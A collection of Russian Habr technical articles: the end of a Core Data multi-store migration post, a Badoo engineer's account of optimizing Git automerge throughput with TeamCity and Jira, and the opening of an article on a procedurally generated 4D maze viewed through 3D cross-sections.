Отдельно нужно сказать про связь хранилищ. Нельзя создавать relationships между сущностями из разных хранилищ. Но можно использовать fetched properties. Это вобщем то более менее понятно описано в эппловской доке по адресу [developer.apple.com/library/mac/#documentation/Cocoa/Conceptual/CoreData/Articles/cdRelationships.html#//apple\_ref/doc/uid/TP40001857-SW5](http://developer.apple.com/library/mac/#documentation/Cocoa/Conceptual/CoreData/Articles/cdRelationships.html#//apple_ref/doc/uid/TP40001857-SW5)
Но это еще не все. Так как старая версия приложения хранила кучу полезных данных в своей единственной базе, хотелось как то смигрировать эту информацию по нашим новеньким хранилищам. Для этого я набросал примерно такой метод в категорию NSPersistentStoreCoordinator
```
- (BOOL)migratePersistentStore:(NSURL *)sourceStoreURL withType:(NSString *)sourceType to:(NSURL *)destinationStoreURL type:(NSString *)destinationType andAddWithConfiguration:(NSString *)configuration
{
NSError *error = nil;
NSDictionary *sourceMetadata = [self.class metadataForPersistentStoreOfType:sourceType URL:sourceStoreURL error:&error];
if(sourceMetadata==nil)
return NO;
NSManagedObjectModel *sourceModel = [NSManagedObjectModel mergedModelFromBundles:nil forStoreMetadata:sourceMetadata];
NSMigrationManager *migrationManager = [[[NSMigrationManager alloc] initWithSourceModel:sourceModel destinationModel:self.managedObjectModel] autorelease];
NSMappingModel *mappingModel = [NSMappingModel mappingModelFromBundles:nil forSourceModel:sourceModel destinationModel:self.managedObjectModel];
if(mappingModel==nil)
return NO;
BOOL result = [migrationManager migrateStoreFromURL:sourceStoreURL type:sourceType options:nil withMappingModel:mappingModel toDestinationURL:destinationStoreURL destinationType:destinationType destinationOptions:nilerror:&error];
if(result==NO)
return NO;
NSLog(@"Successful DB migration");
NSDictionary *options = [self.class migrationOptionsWithAutoMigration:NO];
NSPersistentStore * addedStore = [self addPersistentStoreWithType:destinationType configuration:configuration URL:destinationStoreURL options:options error:&error];
return addedStore!= nil;
}
```
К сожалению разложить таким способом одну базу на несколько не получилось. Первый вызов метода отрабатывает на ура. Однако на втором вызове, уже с другим именем конфигурации, Core Data трагично сообщает мне «Can't add the same store twice». В итоге я решил смигрировать только ту конфигурацию, где хранятся важные данные, а базы под всякие логи и кэши, которые можно перестроить заново, создавать с нуля. | https://habr.com/ru/post/146896/ | null | ru | null |
# Ваш безлимит: как увеличить пропускную способность автомерджа
> *«Отыщи всему начало, и ты многое поймёшь»* (Козьма Прутков).
>
>
Меня зовут Руслан, я релиз-инженер в Badoo и Bumble. Недавно я столкнулся с необходимостью оптимизировать механизм автомерджа в мобильных проектах. Задача оказалась интересной, поэтому я решил поделиться её решением с вами. В статье я расскажу, как у нас раньше было реализовано автоматическое слияние веток Git и как потом мы увеличили пропускную способность автомерджа и сохранили надёжность процессов на прежнем высоком уровне.
### Свой автомердж
Многие программисты ежедневно запускают git merge, разрешают конфликты и проверяют свои действия тестами. Кто-то автоматизирует сборки, чтобы они запускались автоматически на отдельном сервере. Но решать, какие ветки сливать, всё равно приходится человеку. Кто-то идёт дальше и добавляет автоматическое слияние изменений, получая систему непрерывной интеграции (Continuous Integration, или CI).
Например, [GitHub предлагает](https://docs.github.com/en/github/administering-a-repository/managing-auto-merge-for-pull-requests-in-your-repository) полуручной режим, при котором пользователь с правом делать записи в репозиторий может поставить флажок «Allow auto-merge» («Разрешить автомердж»). При соблюдении условий, заданных в настройках, ветка будет соединена с целевой веткой. Bitbucket поддерживает б***о***льшую степень автоматизации, накладывая при этом существенные [ограничения](https://confluence.atlassian.com/bitbucketserver/automatic-branch-merging-776639993.html#Automaticbranchmerging-Conditionsforautomaticmerging) на модель ветвления, имена веток и на количество мерджей.
Такой автоматизации может быть достаточно для небольших проектов. Но с увеличением количества разработчиков и веток, ограничения, накладываемые сервисами, могут существенно повлиять на производительность CI. Например, раньше у нас была система мерджа, при которой основная ветка всегда находилась в стабильном состоянии благодаря последовательной стратегии слияний. Обязательным условием слияния была успешная сборка при наличии всех коммитов основной ветки в ветке разработчика. Работает эта стратегия надёжно, но у неё есть предел, определяемый временем сборки. И этого предела оказалось недостаточно. При времени сборки в 30 минут на обработку 100 слияний в день потребовалось бы более двух суток. Чтобы исключить ограничения подобного рода и получить максимальную свободу выбора стратегий мерджа и моделей ветвления, мы создали собственный автомердж.
Итак, у нас есть свой автомердж, который мы адаптируем под нужды каждой команды. Давайте рассмотрим реализацию одной из наиболее интересных схем, которую используют наши команды Android и iOS.
### Термины
**Main.** Так я буду ссылаться на основную ветку репозитория Git. И коротко, и безопасно. =)
**Сборка.** Под этим будем иметь в виду сборку в TeamCity, ассоциированную с веткой Git и тикетом в трекере Jira. В ней выполняются как минимум статический анализ, компиляция и тестирование.Удачная сборка на последней ревизии ветки в сочетании со статусом тикета «To Merge» — это однo из необходимых условий автомерджа.
### Пример модели ветвления
Испробовав разные модели ветвления в мобильных проектах, мы пришли к следующему упрощённому варианту:
На основе ветки **main** разработчик создаёт ветку с названием, включающим идентификатор тикета в трекере, например **PRJ-k**. По завершении работы над тикетом разработчик переводит его в статус **«Resolved»**. При помощи хуков, встроенных в трекер, мы запускаем для ветки тикета сборку. В определённый момент, когда изменения прошли ревью и необходимые проверки автотестами на разных уровнях, тикет получает статус **«To Merge»**, его забирает автоматика и отправляет в **main**.
Раз в неделю на основе **main** мысоздаём ветку релиза `release_x.y.z,` запускаем на ней финальные сборки, при необходимости исправляем ошибки и наконец выкладываем результат сборки релиза в App Store или Google Play. Все фазы веток отражаются в статусах и дополнительных полях тикетов **Jira**. В общении с Jira помогает наш [клиент REST API](https://github.com/badoo/jira-client).
Такая простая модель не только позволила нам построить надёжный автомердж, но и оказалась удобной для всех участников процесса. Однако сама реализация автомерджа менялась несколько раз, прежде чем мы добились высокой производительности и минимизировали количество побочных эффектов: конфликтов, переоткрытий тикетов и ненужных пересборок.
### Первая версия: жадная стратегия
Сначала мы шли от простого и очевидного. Брали все тикеты, находящиеся в статусе **«To Merge»**, выбирали из них те, для которых есть успешные сборки, и отправляли их в **main** командой `git merge`, по одной.
*Примечание: я немного упростил описание первой версии. В реальности между* ***main*** *и ветками разработчиков была ветка* ***dev****, где и происходили все проблемы, описанные выше. Перед слиянием* ***main*** *с* ***dev*** *мы добивались стабилизации сборок при помощи специальных веток «интеграции», создававшихся автоматически на основе* ***dev*** *с периодом в сутки.*
Наличие в TeamCity актуальной успешной сборки мы проверяли при помощи метода REST API [**getAllBuilds**](https://www.jetbrains.com/help/teamcity/rest/buildapi.html#getAllBuilds)примерно следующим образом (псевдокод):
```
haveFailed = False # Есть ли неудачные сборки
haveActive = False # Есть ли активные сборки
# Получаем сборки типа buildType для коммита commit ветки branch
builds = teamCity.getAllBuilds(buildType, branch, commit)
# Проверяем каждую сборку
for build in builds:
# Проверяем каждую ревизию в сборке
for revision in build.revisions:
if revision.branch is branch and revision.commit is commit:
# Сборка актуальна
if build.isSuccessful:
# Сборка актуальна и успешна
return True
else if build.isRunning or build.isQueued
haveActive = True
else if build.isFailed:
haveFailed = True
if haveFailed:
# Исключаем тикет из очереди, переоткрывая его
ticket = Jira.getTicket(branch.ticketKey)
ticket.reopen("Build Failed")
return False
if not haveActiveBuilds:
# Нет ни активных, ни упавших, ни удачных сборок. Запускаем новую
TriggerBuild(buildType, branch)
```
[Ревизии](https://www.jetbrains.com/help/teamcity/revision.html) — это коммиты, на основе которых TeamCity выполняет сборку. Они отображаются в виде 16-ричных последовательностей на вкладке «**Changes**» («Изменения») страницы сборки в веб-интерфейсе TeamCity. Благодаря ревизиям мы можем легко определить, требуется ли пересборка ветки тикета или тикет готов к слиянию.
Важно, что ревизию можно (а часто даже необходимо) указывать в [запросе на добавление новой сборки в очередь](https://www.jetbrains.com/help/teamcity/rest/buildqueueapi.html#addBuildToQueue) в параметре `lastChanges`, потому что в противном случае TeamCity может выбрать устаревшую ревизию ветки при запуске сборки. Как будет показано ниже, указывать ревизию *необходимо* в тех случаях, если, например, логика вне TeamCity основана на поиске сборок на конкретных коммитах (наш случай).
Так как после перевода тикета в статус готовности (в нашем примере «Resolved») соответствующая ветка, как правило, не меняется, то и сборка, ассоциированная с тикетом, чаще всего остаётся актуальной. Кроме того, сам факт нахождения тикета в статусе «To Merge» говорит о высокой вероятности того, что сборка не упала. Ведь при падении сборки мы сразу переоткрываем тикет.
На первый взгляд, дальнейшие действия кажутся очевидными: взять все готовые тикеты с актуальными сборками и соединять **main** с ними по одному. В первой версии автомерджа мы так и сделали.
Всё работало быстро, но требовало внимания. То и дело возникали ситуации, когда изменения нескольких тикетов конфликтовали между собой. Конфликты при слияниях как явление достаточно распространённое поначалу ни у кого особых вопросов не вызывали. Их разрешали разработчики, дежурные по релизу. Но с увеличением количества разработчиков, задач и, соответственно, веток, приведение релиза в порядок требовало всё больше усилий. Задержки в разрешении конфликтов начали сказываться на новых задачах. Полагаю, не стоит продолжать эту цепочку — скорее всего, вы уже поняли, что я имею в виду. С конфликтами нужно было что-то делать, причём не допуская их попадания в релиз.
#### Конфликты слияния
Если изменить одну и ту же строку кода в разных ветках и попытаться соединить их в **main**, то Git попросит разрешить **конфликты слияния**. Из двух вариантов нужно выбрать один и закоммитить изменения.
Это должно быть знакомо практически каждому пользователю системы контроля версий (VCS). Процессу CI, так же, как и любому пользователю VCS, нужно разрешать конфликты. Правда, делать это приходится немного вслепую, в условиях почти полного непонимания кодовой базы.
Если команда `git merge` завершилась с ошибкой и для всех файлов в списке `git ls-files --unmerged` заданы обработчики конфликтов, то для каждого такого файла мы выполняем парсинг содержимого по маркерам конфликтов `<<<<<<<,` `=======` и `>>>>>>>.` Если конфликты вызваны только изменением версии приложения, то, например, выбираем последнюю версию между локальной и удалённой частями конфликта.
Конфликт слияния — это один из простейших типов конфликтов в CI. При конфликте с **main** CI обязан уведомить разработчика о проблеме, а также исключить ветку из следующих циклов автомерджа до тех пор, пока в ней не появятся новые коммиты.
Решение следующее: нарушаем как минимум одно из необходимых условий слияния. Так как ветка ассоциирована с тикетом трекера, можно переоткрыть тикет, изменив его статус. Таким образом мы одновременно исключим тикет из автомерджа и оповестим об этом разработчика (ведь он подписан на изменения в тикете). На всякий случай мы отправляем ещё и сообщение в мессенджере.
#### Логические конфликты
А может ли случиться так, что, несмотря на успешность сборок пары веток в отдельности, после слияния их с **main** сборка на основной ветке упадёт? Практика показывает, что может. Например, если сумма **a** и **b** в каждой из двух веток не превышает **5**, то это не гарантирует того, что совокупные изменения **a** и **b** в этих ветках не приведут к большей сумме.
Попробуем воспроизвести это на примере Bash-скрипта `test.sh`:
```
#!/bin/bash
get_a() {
printf '%d\n' 1
}
get_b() {
printf '%d\n' 2
}
check_limit() {
local -i value="$1"
local -i limit="$2"
if (( value > limit )); then
printf >&2 '%d > %d%s\n' "$value" "$limit"
exit 1
fi
}
limit=5
a=$(get_a)
b=$(get_b)
sum=$(( a + b ))
check_limit "$a" "$limit"
check_limit "$b" "$limit"
check_limit "$sum" "$limit"
printf 'OK\n'
```
Закоммитим его и создадим пару веток: **a** и **b**.
Пусть в первой ветке функция `get_a()` вернёт **3**, а во второй — `get_b()` вернёт **4**:
```
diff --git a/test.sh b/test.sh
index f118d07..39d3b53 100644
--- a/test.sh
+++ b/test.sh
@@ -1,7 +1,7 @@
#!/bin/bash
get_a() {
- printf '%d\n' 1
+ printf '%d\n' 3
}
get_b() {
git diff main b
diff --git a/test.sh b/test.sh
index f118d07..0bd80bb 100644
--- a/test.sh
+++ b/test.sh
@@ -5,7 +5,7 @@ get_a() {
}
get_b() {
- printf '%d\n' 2
+ printf '%d\n' 4
}
check_limit() {
```
В обоих случаях сумма не превышает 5 — и наш тест проходит успешно:
```
git checkout a && bash test.sh
Switched to branch 'a'
OK
git checkout b && bash test.sh
Switched to branch 'b'
OK
```
Но после слияния **main** с ветками тесты перестают проходить, несмотря на отсутствие явных конфликтов:
```
git merge a b
Fast-forwarding to: a
Trying simple merge with b
Simple merge did not work, trying automatic merge.
Auto-merging test.sh
Merge made by the 'octopus' strategy.
test.sh | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
bash test.sh
7 > 5
```
*«Было бы проще, если бы вместо* `get_a()` *и* `get_b()` *использовались присваивания:* `a=1; b=2`*»*, — заметит внимательный читатель и будет прав. Да, так было бы проще. Но, вероятно, именно поэтому встроенный алгоритм автомерджа Git успешно обнаружил бы конфликтную ситуацию (что не позволило бы продемонстрировать проблему логического конфликта):
```
git merge a
Updating 4d4f90e..8b55df0
Fast-forward
test.sh | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
git merge b
Auto-merging test.sh
CONFLICT (content): Merge conflict in test.sh
Recorded preimage for 'test.sh'
Automatic merge failed; fix conflicts and then commit the result.
```
Разумеется, на практике конфликты бывают менее явными. Например, разные ветки могут полагаться на API разных версий какой-нибудь библиотеки зависимости, притом что более новая версия не поддерживает обратной совместимости. Без глубоких знаний кодовой базы (читай: без разработчиков проекта) обойтись вряд ли получится. Но ведь CI как раз и нужен для решения таких проблем.
Конечно, от разрешения конфликта мы никуда не уйдём — кто-то должен внести правки. Но чем раньше нам удастся обнаружить проблему, тем меньше людей будет привлечено к её решению. В идеале потребуется озадачить лишь разработчика одной из конфликтующих веток. Если таких веток две, то одна из них вполне может быть соединена с **main**.
#### Превентивные меры
Итак, главное — не допустить попадания логического конфликта в **main**. Иначе придётся долго и мучительно искать источник ошибок, а затем — программиста, который проблему должен или может решить. Причём делать это нужно максимально быстро и качественно, чтобы, во-первых, не допустить задержки релиза и во-вторых, избежать в новых ветках логических конфликтов, основанных на уже выявленном конфликте. Такие конфликты часто приводят к неработоспособности большой части приложения или вовсе блокируют его запуск.
Нужно синхронизировать ветки так, чтобы их совокупный вклад в **main** не приводил к падению сборки релиза. Ясно, что все готовые к слиянию ветки нужно так или иначе объединить и прогнать тесты по результату объединения. Путей решения много, давайте посмотрим, каким был наш путь.
### Вторая версия: последовательная стратегия
Стало ясно, что существующих условий готовности к автомерджу для тикета недостаточно. Требовалось какое-то средство синхронизации между ветками, какой-то порядок.
Git, по идее, как раз и является средством синхронизации. Но порядок попадания веток в **main** и, наоборот, **main** в ветки определяем мы сами. Чтобы определить точно, какие из веток вызывают проблемы в **main**, можно попробовать отправлять их туда по одной. Тогда можно выстроить их в очередь, а порядок организовать на основе времени попадания тикета в статус **«To Merge»** в стиле [«первый пришёл — первым обслужен»](https://ru.wikipedia.org/wiki/FIFO).
С порядком определились. А как дальше соединять ветки? Допустим, мы сольём в **main** первый тикет из очереди.Так как **main** изменилась, она может конфликтовать с остальными тикетами в очереди. Поэтому перед тем как сливать следующий тикет, нужно удостовериться, что обновлённая **main** по-прежнему совместима с ним. Для этого достаточно слить **main** в тикет. Но так как после соединения **main** с веткой её состояние отличается от того, которое было в сборке, необходимо перезапустить сборку. Для сохранения порядка все остальные тикеты в очереди должны ждать завершения сборки и обработки впередистоящих тикетов. Примерно такие рассуждения привели нас к последовательной стратегии автомерджа.
Работает схема надёжно и предсказуемо. Благодаря обязательной синхронизации с **main** и последующей пересборке конфликты между ветками удаётся выявлять сразу, до попадания их в **main**. Раньше же нам приходилось разрешать конфликт уже после слияния релиза со множеством веток, большая часть из которых к этому конфликту отношения не имела. Кроме того, предсказуемость алгоритма позволила нам показать очередь тикетов в веб-интерфейсе, чтобы можно было примерно оценить скорость попадания их веток в **main**.
Но есть у этой схемы существенный недостаток: пропускная способность автомерджа линейно зависит от времени сборки. При среднем времени сборки iOS-приложения в 25 минут мы можем рассчитывать на прохождение максимум 57 тикетов в сутки. В случае же с Android-приложением требуется примерно 45 минут, что ограничивает автомердж 32 тикетами в сутки, а это даже меньше количества Android-разработчиков в нашей компании.
На практике время ожидания тикета в статусе «**To Merge**» составляло в среднем 2 часа 40 минут со «всплесками», доходящими до 10 часов! Необходимость оптимизации стала очевидной. Нужно было увеличить скорость слияний, сохранив при этом стабильность последовательной стратегии.
### Финальная версия: сочетание последовательной и жадной стратегий
Разработчик команды iOS Дамир Давлетов предложил вернуться к идее жадной стратегии, при этом сохранив преимущества последовательной.
Давайте вспомним идею жадной стратегии: мы сливали все ветки готовых тикетов в **main**. Основной проблемой было отсутствие синхронизации между ветками. Решив её, мы получим быстрый и надёжный автомердж!
Раз нужно оценить общий вклад всех тикетов в статусе «**To Merge»** в **main**, то почему бы не слить все веткив некоторую промежуточную ветку **«Main Candidate» (MC)** и не запустить сборку на ней? Если сборка окажется успешной, то можно смело сливать **MC** в **main**. В противном случае придётся исключать часть тикетов из **MC** и запускать сборку заново.
Как понять, какие тикеты исключить? Допустим, у нас **n** тикетов. На практике причиной падения сборки чаще всего является один тикет. Где он находится, мы не знаем — все позиции от **1** до **n** являются равноценными. Поэтому для поиска проблемного тикета мы делим **n** пополам.
Так как место тикета в очереди определяется временем его попадания в статус **«To Merge»**, имеет смысл брать ту половину, в которой расположены тикеты с б***о***льшим временем ожидания.
Следуя этому алгоритму, для **k** проблемных тикетов в худшем случае нам придётся выполнить `O(k*log2(n))` сборок, прежде чем мы обработаем все проблемные тикеты и получим удачную сборку на оставшихся.
Вероятность благоприятного исхода велика. А ещё в то время, пока сборки на ветке **MC** падают, мы можем продолжать работу при помощи последовательного алгоритма!
Итак, у нас есть две автономные модели автомерджа: последовательная (назовём её **«Sequential Merge»**, или **SM**) и жадная (назовём её **«Greedy Merge»**, или **GM**). Чтобы получить пользу от обеих, нужно дать им возможность работать параллельно. А параллельные процессы требуют синхронизации, которой можно добиться либо [средствами межпроцессного взаимодействия](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D0%BF%D1%80%D0%BE%D1%86%D0%B5%D1%81%D1%81%D0%BD%D0%BE%D0%B5_%D0%B2%D0%B7%D0%B0%D0%B8%D0%BC%D0%BE%D0%B4%D0%B5%D0%B9%D1%81%D1%82%D0%B2%D0%B8%D0%B5), либо [неблокирующей синхронизацией](https://ru.wikipedia.org/wiki/%D0%9D%D0%B5%D0%B1%D0%BB%D0%BE%D0%BA%D0%B8%D1%80%D1%83%D1%8E%D1%89%D0%B0%D1%8F_%D1%81%D0%B8%D0%BD%D1%85%D1%80%D0%BE%D0%BD%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F), либо сочетанием этих двух методов. Во всяком случае, мне другие методы неизвестны.
Сами процессы такого рода у нас реализованы в виде очереди команд-скриптов. Команды эти могут быть одноразовыми и периодически запускаемыми. Так как автомердж никогда не закончится, а с управлением повторными запусками лучше справится контроллер очереди, выберем второй тип.
Остаётся предотвратить все возможные случаи [состояний гонки](https://ru.wikipedia.org/wiki/%D0%A1%D0%BE%D1%81%D1%82%D0%BE%D1%8F%D0%BD%D0%B8%D0%B5_%D0%B3%D0%BE%D0%BD%D0%BA%D0%B8). Их много, но для понимания сути приведу несколько самых важных:
1. SM-SM и GM-GM: между командами одного типа.
2. SM-GM: между SM и GM в рамках одного репозитория.
Первая проблема легко решается при помощи [мьютекса](https://ru.wikipedia.org/wiki/%D0%9C%D1%8C%D1%8E%D1%82%D0%B5%D0%BA%D1%81) по токену, включающему в себя имя команды и название репозитория. Пример: `lock_${command}_${repository}`.
Поясню, в чём заключается сложность второго случая. Если SM и GM будут действовать несогласованно, то может случиться так, что SM соединит **main** с первым тикетом из очереди, а GM этого тикета не заметит, то есть соберёт все остальные тикеты без учёта первого. Например, если SM переведёт тикет в статус **In Master**, а GM будет всегда выбирать тикеты по статусу **To Merge**, то GM может никогда не обработать тикета, соединённого SM. При этом тот самый первый тикет может конфликтовать как минимум с одним из других.
Во избежание логических конфликтов GM нужно обрабатывать все тикеты в очереди без исключения. По этой же причине алгоритм GM в связке с SM обязательно должен соблюдать тот же порядок тикетов в очереди, что и SM, так как именно этот порядок определяет, какая половина очереди будет выбрана в случае неудачной сборки в GM. При соблюдении этих условий тикет, обрабатываемый SM, будет всегда входить в сборку GM, что обеспечит нам нужную степень синхронизации.
Таким образом, мы получили своего рода неблокирующую синхронизацию.
#### Немного о TeamCity
В процессе реализации GM нам предстояло обработать много нюансов, которыми я не хочу перегружать статью. Но один из них заслуживает внимания. В ходе разработки я столкнулся с проблемой зацикливания команды GM: процесс постоянно пересобирал ветку **MC** и создавал новую сборку в TeamCity. Проблема оказалась в том, что TeamCity не успел скачать обновления репозитория, в которых была ветка MC, созданная процессом GM несколько секунд назад. К слову, интервал обновления репозитория в TeamCity у нас составляет примерно 30 секунд.
В качестве хотфикса я ввёл плавающий тег сборки, то есть создал в TeamCity тег с названием, похожим на `automerge_ios_repo_git`, и перемещал его от сборки к сборке, чтобы иметь представление о том, какая сборка является актуальной, в каком она состоянии и т. д. Но, понимая несовершенство этого подхода, я взялся за поиски способа донесения до TeamCity информации о новом состоянии ветки MC, а также способа прикрепления ревизии к сборке.
Кто-то посчитает решение очевидным, но я нашёл его не сразу. Оказывается, прикрепить ревизию к сборке при её добавлении в очередь можно при помощи параметра `lastChanges` метода [addBuildToQueue](https://www.jetbrains.com/help/teamcity/rest/buildqueueapi.html#addBuildToQueue):
```
```
В этом примере `{{revision}}` заменяется на 16-ричную последовательность коммита, а `{{build_type}}` — на идентификатор конфигурации сборки. Но этого недостаточно, так как TeamCity, не имея информации о новом коммите, может отказать нам в запросе.
Для того чтобы новый коммит дошёл до TeamCity, нужно либо подождать примерно столько, сколько указано в настройках конфигурации корня VCS, либо попросить TeamCity проверить наличие изменений в репозитории («Pending Changes») при помощи метода [requestPendingChangesCheck](https://www.jetbrains.com/help/teamcity/rest/vcsrootinstanceapi.html#requestPendingChangesCheck), а затем подождать, пока TeamCity скачает изменения, содержащие наш коммит. Проверка такого рода выполняется посредством метода [getChange](https://www.jetbrains.com/help/teamcity/rest/changeapi.html#getChange), где в [changeLocator](https://www.jetbrains.com/help/teamcity/rest/changelocator.html) нужно передать как минимум сам коммит в качестве параметра локатора `version`. Кстати, на момент написания статьи (и кода) на странице `ChangeLocator`в официальной документации описание параметра `version` отсутствовало. Быть может, поэтому я не сразу узнал о его существовании и о том, что это 40-символьный 16-ричный хеш коммита.
Псевдокод:
```
teamCity.requestPendingChanges(buildType)
attempt = 1
while attempt <= 20:
response = teamCity.getChange(commit, buildType)
if response.commit == commit:
return True # Дождались
sleep(10)
return False
```
О предельно высокой скорости слияний
------------------------------------
У жадной стратегии есть недостаток — на поиск ветки с ошибкой может потребоваться много времени. Например, 6 сборок для 20 тикетов у нас может занять около трёх часов. Можно ли устранить этот недостаток?
Допустим, в очереди находится **10** тикетов, среди которых только **6**-й приводит к падению сборки.
Согласно жадной стратегии, мы пробуем собрать сразу все **10** тикетов, что приводит к падению сборки. Далее собираем левую половину (с **1** по **5**) успешно, так как тикет с ошибкой остался в правой половине.
Если бы мы сразу запустили сборку на левой половине очереди, то не потеряли бы времени. А если бы проблемным оказался не **6**-й тикет, а **4**-й, то было бы выгодно запустить сборку на четверти длины всей очереди, то есть на тикетах с **1** по **3**, например.
Продолжая эту мысль, мы придём к выводу о том, что полностью избавиться от ожиданий неудачных сборок можно только при условии параллельного запуска сборок всех комбинаций тикетов:
Обратите внимание, во избежание конфликтов здесь необходимо соблюдать очерёдность, поэтому комбинации вроде «пятый и первый» недопустимы. Тогда можно было бы просто брать успешные сборки и соединять их тикеты в **main**. При этом неудачные сборки времени бы не отнимали.
Примерно такой же алгоритм реализован в премиум-функции GitLab под названием [**«Merge Trains»**](https://docs.gitlab.com/ee/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/). Перевода этого названия на русский язык я не нашёл, поэтому назову его «Поезда слияний». «Поезд» представляет собой очередь «запросов на слияние» с основной веткой («merge requests»). Для каждого такого запроса выполняется слияние изменений ветки самого запроса с изменениями всех запросов, расположенных перед ним (то есть запросов, добавленных в «поезд» ранее). Например, для трёх запросов на слияние **A**, **B** и **С** GitLab создаёт следующие сборки:
1. Изменения из **А**, соединённые с основной веткой.
2. Изменения из **A** и **B**, соединённые с основной веткой.
3. Изменения из **A,** **B** и **C**, соединённые с основной веткой.
Если сборка падает, то соответствующий запрос из очереди удаляется, а сборки всех предыдущих запросов перезапускаются (без учёта удалённого запроса).
GitLab ограничивает количество параллельно работающих сборок двадцатью. Все остальные сборки попадают в очередь ожидания вне поезда. Как только сборка завершает работу, её место занимает очередная сборка из очереди ожидания.
Таким образом, запуск параллельных сборок по всем допустимым комбинациям тикетов в очереди позволяет добиться очень высокой скорости слияний. Избавившись от очереди ожидания, можно и вовсе приблизиться к максимальной скорости.
Но если преград человеческой мысли нет, то пределы аппаратных ресурсов видны достаточно отчётливо:
1. Каждой сборке нужен свой агент в TeamCity.
2. В нашем случае у сборки мобильного приложения есть порядка 15-100 сборок-зависимостей, каждой из которых нужно выделить по агенту.
3. Сборки автомерджа мобильных приложений в **main** составляют лишь малую часть от общего количества сборок в TeamCity.
Взвесив все плюсы и минусы, мы решили пока остановиться на алгоритме **SM + GM**. При текущей скорости роста очереди тикетов алгоритм показывает хорошие результаты. Если в будущем заметим возможные проблемы с пропускной способностью, то, вероятно, пойдём в сторону «Merge Trains» и добавим пару параллельных сборок **GM**:
1. Вся очередь.
2. Левая половина очереди.
3. Левая четверть очереди.
### Что в итоге получилось
В результате применения комбинированной стратегии автомерджа нам удалось добиться следующего:
* уменьшение среднего размера очереди в **2-3** раза;
* уменьшение среднего времени ожидания в **4-5** раз;
* мердж порядка **50** веток в день в каждом из упомянутых проектов;
* увеличение пропускной способности автомерджа при сохранении высокого уровня надёжности, то есть мы практически сняли ограничение на количество тикетов в сутки.
Примеры графиков слияний за несколько дней:
Количество тикетов в очереди до и после внедрения нового алгоритма:
Среднее количество тикетов в очереди («AVG») уменьшилось в 2,5 раза (3,95/1,55).
Время ожидания тикетов в минутах:
Среднее время ожидания («AVG») уменьшилось в 4,4 раза (155,5/35,07). | https://habr.com/ru/post/560228/ | null | ru | null |
# Четырёхмерный лабиринт с видом от первого лица
Существует более 30 игр с дополнительным пространственным измерением ([список на википедии](https://en.wikipedia.org/wiki/List_of_four-dimensional_games)), которые разнообразными способами визуализируют и пытаются сделать доступной для понимания наличие четвёртой координаты. Но среди тех игр, с которыми я ознакомился, не нашел для себя такой, которая сочетала бы в себе следующие факторы:
* вид от первого лица
* возможность свободного перемещения и вращения во всех направлениях, без жестко заданных траекторий и углов поворота
* простая и привычная графика, с текстурами и освещением
* отсутствие лишних геймплейных элементов и бóльшая направленность игры на исследование четырёхмерного мира
К тому же, было желание самому сделать нечто подобное, поэтому решил создать минимальную версию такой игры — процедурно генерируемый четырёхмерный лабиринт, с визуализацией 3D сечениями. О том, что из этого получилось, читайте далее.
Сечение vs. проекция
--------------------
Для начала, надо немного сказать о способах визуализации 4D пространства. Среди них можно выделить два основных — сечения и проекции, которые проще всего проиллюстрировать на аналогии с 3D:
Сечения куба в 2D:
 Проекция куба в 2D:
Сечения [тессеракта](https://ru.wikipedia.org/wiki/%D0%A2%D0%B5%D1%81%D1%81%D0%B5%D1%80%D0%B0%D0%BA%D1%82) (аналога куба в четырёх измерениях) в 3D\*:
\**на самом деле это конечно же тоже 2D проекции 3D объектов, но опустим это для простоты*
 Проекция тессеракта в 3D:
С точки зрения информативности и представления структуры объекта, проекции однозначно лучше, однако у этого способа есть фатальный недостаток — переизбыток информации делает любую хоть сколько-нибудь сложную сцену очень трудной для восприятия. Например, проекция простого 4D коридора превращается в непонятный для неподготовленного человека набор линий (скриншот из игры [4D Maze Game](http://www.urticator.net/maze/)):
Слева — проекция 3D коридора, справа — 4DИменно по этой причине был выбран способ визуализации 3D сечениями, который, в свою очередь, тоже далеко не идеален, так как значительная часть объекта остается за пределом поля зрения. Для понимания искажений объектов, вызванных этим, лучше всего снова воспользоваться аналогией с обычным трёхмерным пространством, мысленно заменяя 4D на 3D, а двумерное изображение 3D сечения — на одномерную полоску, получаемую плоским срезом:
Представьте себя на месте гипотетического двумерного существа, изучающего наш мир одномерным зрениемА вот так выглядят двумерные проекции 3D сечений тессеракта. Принцип искажений аналогичен предыдущему примеру:
Теперь мы сами оказываемся в роли такого неполноценного существаДалее эти эффекты демонстрируются на конкретных элементах лабиринта.
### Текстуры
У каждого тессеракта есть 8 гиперграней, каждая из которых имеет свою 3D текстуру (16x16x16 точек), по аналогии с кубом, который состоит из 6 граней с 2D текстурами. Каждая гипергрань окрашена в свой цвет, соответствующий направлению, куда она повернута видимой стороной.
Привычные нам грани куба, образованного 3D сечением тессеракта:
После поворота тессеракта в плоскости ZW на 90 градусов видимые гиперграни +-Z поменялись соответственно на +-W:
Анимация вращения тессеракта сразу по всем шести плоскостямТак как у каждой текстуры есть небольшая черная граница по краям, то иногда возникает странная на первый взгляд ситуация, когда 3D сечение выравнивается ровно по этим границам, и всё становится однотонным:
Представьте двумерного жителя, попавшего своим одномерным взглядом ровно в щель между кирпичами в стене### Освещение
В каждой комнате лабиринта есть источник света, который может быть и не виден в текущем 3D сечении, из-за чего кажется, что блоки освещаются из ниоткуда:
Анимация поворота в плоскости XW, с источником света на гиперграни -Y### Скрытые проходы
Игроку нужно постоянно помнить о том, что некоторые стены комнаты могут быть не видны из его текущего 3D сечения, и поэтому поворот в дополнительном измерении может помочь обнаружить новые проходы:
Анимация последовательности поворотов, сначала в плоскости ZW, а затем в YWГенерация мира
--------------
Лабиринт генерируется методом рекурсивного бэктрекинга (к слову, есть отличная [визуализация этого алгоритма](https://philaturner.github.io/maze-gen/)):
```
1. Весь лабиринт заполняется стенами, самая дальняя от нуля комната становится текущей
2. Текущая комната помечается как посещенная
3. До тех пор, пока текущая комната имеет непосещённых соседей:
3.1. Случайным образом выбирается любой из непосещённых соседей
3.2. Убираются стены между текущей комнатой и выбранной соседней
3.3. Выбранная комната становится текущей и повторяется п.2
```
